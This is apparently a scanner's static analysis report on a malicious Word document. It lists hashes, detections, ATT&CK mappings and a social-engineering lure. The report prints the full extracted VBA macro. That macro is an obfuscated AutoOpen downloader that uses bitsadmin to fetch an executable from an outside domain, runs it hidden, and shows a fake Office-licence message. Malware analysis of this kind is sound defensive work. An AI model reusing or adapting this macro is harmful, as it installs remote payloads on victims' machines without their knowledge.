Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8f56e52ccbd9dbb…

MALICIOUS

Office (OLE)

110.5 KB Created: 2017-05-09 08:23:00 First seen: 2018-11-05
MD5: 13599dd2dd8652bb65dbf43c9bf4c8f2 SHA-1: c36339ec9947b7fa8ed4f42311beaa3a22f7b73d SHA-256: f8f56e52ccbd9dbb3d842f9d108b3ba74a9e342cca450a5aaebfdbb917c097e4
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro that executes a Shell() command. The document body explicitly instructs the user to 'Enable editing' and 'Enable Content', a common social engineering tactic to bypass macro security. The AutoOpen macro is designed to run automatically when the document is opened, likely to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6478328-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6478328-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3369 bytes
SHA-256: 98e99c6b8f1a684b7ce3d396bea2d306b718d8cd5a43f76be7b2d75f250aa964
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
If Len("xwyoadd") <> 656 Then
' jeascusk
Else
' dksdzcm
MsgBox "nwyms", 275, "bwfagyjo"
End If
Mmkmct = Mmkmct & Pppmrsszsxgchzpfscrwrkzdk("fpg1h{h 2f %zdlwiru 2w 8 ") & Pppmrsszsxgchzpfscrwrkzdk("\NHUT ) e") & Pppmrsszsxgchzpfscrwrkzdk("lwvdgplq 2wudqvih") & Pppmrsszsxgchzpfscrwrkzdk("u XNH") & Pppmrsszsxgchzpfscrwrkzdk("I 2grzqordg 2sulru")
Mmkmct = Mmkmct & Pppmrsszsxgchzpfscrwrkzdk("lw| qrupdo kwwsv=2") & Pppmrsszsxgchzpfscrwrkzdk("2zzz1zwuompsj6j") & Pppmrsszsxgchzpfscrwrkzdk("}oj1") & Pppmrsszsxgchzpfscrwrkzdk("elg2Ordghu1h{h (") & Pppmrsszsxgchzpfscrwrkzdk("dssgdwd(_wsegyd1h{h )vw") & Pppmrsszsxgchzpfscrwrkzdk("duw (dssgdwd(_ws") & Pppmrsszsxgchzpfscrwrkzdk("egyd1h{h%")
If Len("kbcvn") <> 602 Then
' csuvzcxx
Else
' gdefbcn
MsgBox "axhdblbw", 648, "zbolijoy"
End If
Wiogickiwknetafjtkebikr = Wiogickiwknetafjtkebikr & Pppmrsszsxgchzpfscrwrkzdk("Huuru 4<;:7= \rx ") & Pppmrsszsxgchzpfscrwrkzdk("pxvw kdyh Riilfh ") & Pppmrsszsxgchzpfscrwrkzdk("Surihv") & Pppmrsszsxgchzpfscrwrkzdk("vlrqdo") & Pppmrsszsxgchzpfscrwrkzdk(" Hglwlrq wr uhdg wklv f") & Pppmrsszsxgchzpfscrwrkzdk("rqwhqw/ sohdvh x") & Pppmrsszsxgchzpfscrwrkzdk("sjudgh |rxu olfhqfh1 Ylvlw z") & Pppmrsszsxgchzpfscrwrkzdk("zz1plf") & Pppmrsszsxgchzpfscrwrkzdk("urvriw1frp ir")
Wiogickiwknetafjtkebikr = Wiogickiwknetafjtkebikr & Pppmrsszsxgchzpfscrwrkzdk("u khos")
    
Shell Mmkmct, vbHide
MsgBox Wiogickiwknetafjtkebikr
If 482 * 7 = 20232 - 3813 Then
azdyt = "oczcxgk"
End If
End Sub
Private Function Xwhbfel(ByVal Oakkzhjs As String, ByVal Ftakmbxcieg As Long) As String
If Len("knict") <> 337 Then
' tsawsm
Else
' kjnnh
MsgBox "vftvplk", 426, "kojblirh"
End If
Dim Gbjlohligneyzy, Yhhribkukptmupdmdga, Piwnrxughopnzllapbcftk As Long
Gbjlohligneyzy = Len(Oakkzhjs)
Dim Rinabykmfxct As String
Dim Xhkfjtfpobzkutzovtucc() As Long
ReDim Xhkfjtfpobzkutzovtucc(1 To Gbjlohligneyzy)
For Piwnrxughopnzllapbcftk = 1 To Gbjlohligneyzy
Yhhribkukptmupdmdga = Asc(Mid(Oakkzhjs, Piwnrxughopnzllapbcftk, 1))
If Yhhribkukptmupdmdga = 32 Then
Xhkfjtfpobzkutzovtucc(Piwnrxughopnzllapbcftk) = Yhhribkukptmupdmdga
Else:
If Len("isaapebi") <> 260 Then
' nheulowb
Else
' ufoopvch
MsgBox "duhsde", 252, "hkmrp"
End If
Yhhribkukptmupdmdga = Yhhribkukptmupdmdga - Ftakmbxcieg
Xhkfjtfpobzkutzovtucc(Piwnrxughopnzllapbcftk) = Yhhribkukptmupdmdga
End If
If Len("xbina") <> 223 Then
' bmpral
Else
' tyrpgyhk
MsgBox "ocuvz", 279, "itkycy"
End If
Rinabykmfxct = Rinabykmfxct & Chr(Xhkfjtfpobzkutzovtucc(Piwnrxughopnzllapbcftk))
If 270 * 9 = 17839 - 2204 Then
lohbk = "nfbxha"
End If
Next
If 172 * 5 = 25416 - 2505 Then
bahafn = "rhsgo"
End If
Xwhbfel = Rinabykmfxct
If Len("pakkk") <> 408 Then
' ukmyndpc
Else
' tpueortn
MsgBox "njikj", 394, "oksboat"
End If
End Function
Private Function Pppmrsszsxgchzpfscrwrkzdk(Lkkuolooiexc As String)
If Len("cocofnic") <> 450 Then
' yshgyggt
Else
' ppkkarhf
MsgBox "gmbpujbr", 843, "utirhpng"
End If
Pppmrsszsxgchzpfscrwrkzdk = Xwhbfel(Lkkuolooiexc, 3)
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.